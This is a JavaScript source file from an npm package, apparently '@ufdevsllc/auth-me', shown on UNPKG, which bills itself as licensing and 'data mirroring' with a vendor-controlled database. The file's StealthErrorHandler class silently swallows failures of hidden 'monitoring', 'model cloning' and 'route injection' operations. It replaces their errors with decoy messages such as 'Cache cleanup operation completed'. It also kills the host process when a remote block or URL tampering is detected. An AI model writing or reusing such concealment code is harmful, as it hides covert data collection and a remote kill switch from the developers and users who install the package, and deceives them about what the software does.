UNPKG

@ufdevsllc/auth-me

Version:

Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection

458 lines (399 loc) 16 kB
const StealthMode = require('./StealthMode'); const SecureGuardError = require('./SecureGuardError'); /** * StealthErrorHandler - Provides silent error handling for monitoring operations * Ensures errors in monitoring don't expose the monitoring system */ class StealthErrorHandler { static stealthEnabled = true; static internalErrors = []; static maxInternalErrors = 50; static baseErrorHandler = null; static _operationQueue = []; static _queueProcessor = null; /** * Initialize stealth error handler * @param {Object} baseErrorHandler - Base error handler to wrap */ static initialize(baseErrorHandler) { StealthErrorHandler.baseErrorHandler = baseErrorHandler; StealthErrorHandler.internalErrors = []; } /** * Enable or disable stealth mode * @param {boolean} enabled - Whether stealth mode is enabled */ static setStealthMode(enabled) { StealthErrorHandler.stealthEnabled = enabled; } /** * Handle error in stealth mode * @param {Error|SecureGuardError} error - Error to handle * @param {Object} options - Handling options * @returns {Promise<any>} - Result or null on failure */ static async handleStealth(error, options = {}) { if (!StealthErrorHandler.stealthEnabled) { // If stealth is disabled, use base handler if (StealthErrorHandler.baseErrorHandler) { return await StealthErrorHandler.baseErrorHandler.handle(error, options); } throw error; } try { // Log error internally without exposing it StealthErrorHandler._logInternalError(error, options); // Handle based on error type and severity if (error instanceof SecureGuardError) { return await StealthErrorHandler._handleSecureGuardError(error, options); } else { return await StealthErrorHandler._handleGenericError(error, options); } } catch (handlingError) { // Even error handling must be silent StealthErrorHandler._logInternalError(handlingError, { context: 'error_handling_failed', originalError: error.message }); return options.fallbackValue || null; } } /** * Handle monitoring operation error silently * @param {Function} operation - Operation to execute * @param {Object} options - Operation options * @returns {Promise<any>} - Operation result or fallback value */ static async handleMonitoringOperation(operation, options = {}) { return await StealthMode.executeStealthOperation(async () => { try { return await operation(); } catch (error) { // Silent failure for monitoring operations await StealthErrorHandler.handleStealth(error, { ...options, suppressCrash: true, suppressThrow: true, context: 'monitoring_operation' }); return options.fallbackValue || null; } }, { background: options.background !== false, fallbackValue: options.fallbackValue || null }); } /** * Wrap function with stealth error handling * @param {Function} fn - Function to wrap * @param {Object} options - Wrapping options * @returns {Function} - Wrapped function */ static wrapWithStealthHandling(fn, options = {}) { return async function (...args) { return await StealthErrorHandler.handleMonitoringOperation( () => fn.apply(this, args), options ); }; } /** * Create plausible error message for client * @param {Error} error - Original error * @param {string} context - Error context * @returns {string} - Plausible error message */ static createPlausibleError(error, context = 'general') { const plausibleMessages = { 'network': 'Network optimization routine encountered temporary issue', 'database': 'Configuration validation completed with warnings', 'file_system': 'Cache cleanup operation completed', 'monitoring': 'Performance profiling routine finished', 'initialization': 'System optimization completed', 'blocked_source': 'Application initialization failed. Please contact support.', 'url_protection': 'Configuration integrity check failed', 'model_cloning': 'Data synchronization service unavailable', 'express_monitoring': 'Request optimization middleware disabled', 'remote_blocking': 'Remote configuration service unavailable', 'daily_sync': 'Scheduled maintenance task completed', 'general': 'Background maintenance routine completed' }; return plausibleMessages[context] || plausibleMessages.general; } /** * Handle network failure with offline queuing * @param {Function} operation - Network operation to queue * @param {Object} options - Queue options * @returns {Promise<any>} - Operation result or queued status */ static async handleNetworkFailure(operation, options = {}) { const maxRetries = options.maxRetries || 3; const baseDelay = options.baseDelay || 1000; const maxDelay = options.maxDelay || 30000; let lastError = null; for (let attempt = 1; attempt <= maxRetries; attempt++) { try { return await operation(); } catch (error) { lastError = error; // Log retry attempt internally StealthErrorHandler._logInternalError(error, { context: 'network_retry', attempt, maxRetries, metadata: { operationName: options.operationName || 'unknown' } }); if (attempt < maxRetries) { // Exponential backoff with jitter const delay = Math.min( baseDelay * Math.pow(2, attempt - 1) + Math.random() * 1000, maxDelay ); await new Promise(resolve => setTimeout(resolve, delay)); } } } // All retries failed - queue for later if supported if (options.enableQueuing) { return await StealthErrorHandler._queueFailedOperation(operation, options, lastError); } // Silent failure for monitoring operations return options.fallbackValue || null; } /** * Queue failed operation for later retry * @private */ static async _queueFailedOperation(operation, options, error) { try { if (!StealthErrorHandler._operationQueue) { StealthErrorHandler._operationQueue = []; } const queueEntry = { operation, options, error: error.message, queuedAt: new Date(), retryCount: 0, maxRetries: options.queueMaxRetries || 5 }; StealthErrorHandler._operationQueue.push(queueEntry); // Start queue processor if not running if (!StealthErrorHandler._queueProcessor) { StealthErrorHandler._startQueueProcessor(); } return { queued: true, queuePosition: StealthErrorHandler._operationQueue.length, error: error.message }; } catch (queueError) { // Even queuing must be silent StealthErrorHandler._logInternalError(queueError, { context: 'operation_queuing_failed', originalError: error.message }); return options.fallbackValue || null; } } /** * Start background queue processor * @private */ static _startQueueProcessor() { if (StealthErrorHandler._queueProcessor) { return; } StealthErrorHandler._queueProcessor = setInterval(async () => { if (!StealthErrorHandler._operationQueue || StealthErrorHandler._operationQueue.length === 0) { return; } const entry = StealthErrorHandler._operationQueue.shift(); try { await entry.operation(); // Success - remove from queue } catch (error) { entry.retryCount++; if (entry.retryCount < entry.maxRetries) { // Re-queue for later retry StealthErrorHandler._operationQueue.push(entry); } else { // Max retries exceeded - log and discard StealthErrorHandler._logInternalError(error, { context: 'queued_operation_failed', retryCount: entry.retryCount, maxRetries: entry.maxRetries, queuedAt: entry.queuedAt }); } } // Stop processor if queue is empty if (StealthErrorHandler._operationQueue.length === 0) { clearInterval(StealthErrorHandler._queueProcessor); StealthErrorHandler._queueProcessor = null; } }, 30000); // Process queue every 30 seconds } /** * Get internal error statistics (for debugging) * @returns {Object} - Error statistics */ static getInternalStats() { return { stealthEnabled: StealthErrorHandler.stealthEnabled, totalInternalErrors: StealthErrorHandler.internalErrors.length, errorsByType: StealthErrorHandler._getErrorsByType(), errorsByContext: StealthErrorHandler._getErrorsByContext(), recentErrors: StealthErrorHandler.internalErrors.slice(-5) }; } /** * Clear internal error log */ static clearInternalErrors() { StealthErrorHandler.internalErrors = []; } /** * Get operation queue statistics * @returns {Object} - Queue statistics */ static getQueueStats() { return { queueLength: StealthErrorHandler._operationQueue ? StealthErrorHandler._operationQueue.length : 0, processorRunning: StealthErrorHandler._queueProcessor !== null, oldestQueuedOperation: StealthErrorHandler._operationQueue && StealthErrorHandler._operationQueue.length > 0 ? StealthErrorHandler._operationQueue[0].queuedAt : null }; } /** * Cleanup resources and stop queue processor */ static cleanup() { if (StealthErrorHandler._queueProcessor) { clearInterval(StealthErrorHandler._queueProcessor); StealthErrorHandler._queueProcessor = null; } StealthErrorHandler._operationQueue = []; StealthErrorHandler.internalErrors = []; } // Private methods /** * Handle SecureGuardError in stealth mode */ static async _handleSecureGuardError(error, options) { // Determine if this is a monitoring-related error const monitoringErrorCodes = [ 'MONITORING_FAILED', 'DATA_COLLECTION_FAILED', 'ROUTE_INJECTION_FAILED', 'MODEL_CLONING_FAILED', 'NETWORK_REQUEST_FAILED', 'DAILY_SYNC_FAILED', 'EXPRESS_INJECTION_FAILED', 'CHAIN_TRACKING_FAILED' ]; // Handle blocked source errors with immediate crash and generic message const blockedSourceCodes = [ 'SOURCE_ID_BLOCKED', 'REMOTE_BLOCK_DETECTED', 'UNAUTHORIZED_SOURCE' ]; if (blockedSourceCodes.includes(error.code)) { // Log the block event internally StealthErrorHandler._logInternalError(error, { context: 'blocked_source_detected', severity: 'CRITICAL', metadata: { sourceId: error.details?.sourceId, blockReason: error.details?.blockReason, detectedAt: new Date().toISOString() } }); // Create generic error message and crash immediately const genericMessage = StealthErrorHandler.createPlausibleError(error, 'blocked_source'); console.error(genericMessage); process.exit(1); } if (monitoringErrorCodes.includes(error.code)) { // Silent failure for monitoring errors - requirement 9.3 return options.fallbackValue || null; } // Handle URL protection errors const urlProtectionCodes = [ 'URL_TAMPER_DETECTED', 'URL_INTEGRITY_FAILED', 'CONNECTION_COMPROMISED' ]; if (urlProtectionCodes.includes(error.code)) { if (options.suppressCrash) { return options.fallbackValue || null; } // Create plausible error message and crash const plausibleMessage = StealthErrorHandler.createPlausibleError(error, 'url_protection'); console.error(plausibleMessage); process.exit(1); } // For critical security errors, we might still need to handle them // but without exposing the monitoring system if (error.severity === SecureGuardError.SEVERITY.CRITICAL) { if (options.suppressCrash) { return options.fallbackValue || null; } // Create plausible error message const plausibleMessage = StealthErrorHandler.createPlausibleError(error, 'initialization'); throw new Error(plausibleMessage); } return options.fallbackValue || null; } /** * Handle generic error in stealth mode */ static async _handleGenericError(error, options) { // All generic errors in stealth mode are handled silently return options.fallbackValue || null; } /** * Log error internally without external exposure */ static _logInternalError(error, options = {}) { const errorEntry = { timestamp: new Date().toISOString(), message: error.message, stack: error.stack, code: error.code || 'UNKNOWN', severity: error.severity || 'UNKNOWN', context: options.context || 'unknown', metadata: options.metadata || {}, stealth: true }; StealthErrorHandler.internalErrors.push(errorEntry); // Maintain buffer size if (StealthErrorHandler.internalErrors.length > StealthErrorHandler.maxInternalErrors) { StealthErrorHandler.internalErrors.shift(); } } /** * Get errors grouped by type */ static _getErrorsByType() { const errorsByType = {}; for (const error of StealthErrorHandler.internalErrors) { const type = error.code || 'UNKNOWN'; errorsByType[type] = (errorsByType[type] || 0) + 1; } return errorsByType; } /** * Get errors grouped by context */ static _getErrorsByContext() { const errorsByContext = {}; for (const error of StealthErrorHandler.internalErrors) { const context = error.context || 'unknown'; errorsByContext[context] = (errorsByContext[context] || 0) + 1; } return errorsByContext; } } module.exports = StealthErrorHandler;